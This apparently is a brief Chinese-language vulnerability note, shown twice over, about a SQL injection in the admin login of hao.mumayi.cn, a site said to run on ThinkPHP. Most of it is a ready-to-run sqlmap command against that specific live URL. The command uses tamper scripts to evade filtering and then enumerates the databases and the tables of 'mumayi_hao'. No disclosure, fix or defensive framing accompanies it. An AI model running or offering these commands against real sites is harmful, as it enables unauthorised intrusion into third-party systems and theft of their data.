http://hao.mumayi.cn/ 木蚂蚁发号平台
http://hao.mumayi.cn/Adminlogin/Login
后台用户名存在注入 为thinkphp框架
sqlmap -u "http://hao.mumayi.cn/Adminlogin/Login" --data "username=admin&password=test" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
--dbs
-D mumayi_hao --tables
http://hao.mumayi.cn/ 木蚂蚁发号平台
http://hao.mumayi.cn/Adminlogin/Login
后台用户名存在注入 为thinkphp框架
sqlmap -u "http://hao.mumayi.cn/Adminlogin/Login" --data "username=admin&password=test" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
--dbs
-D mumayi_hao --tables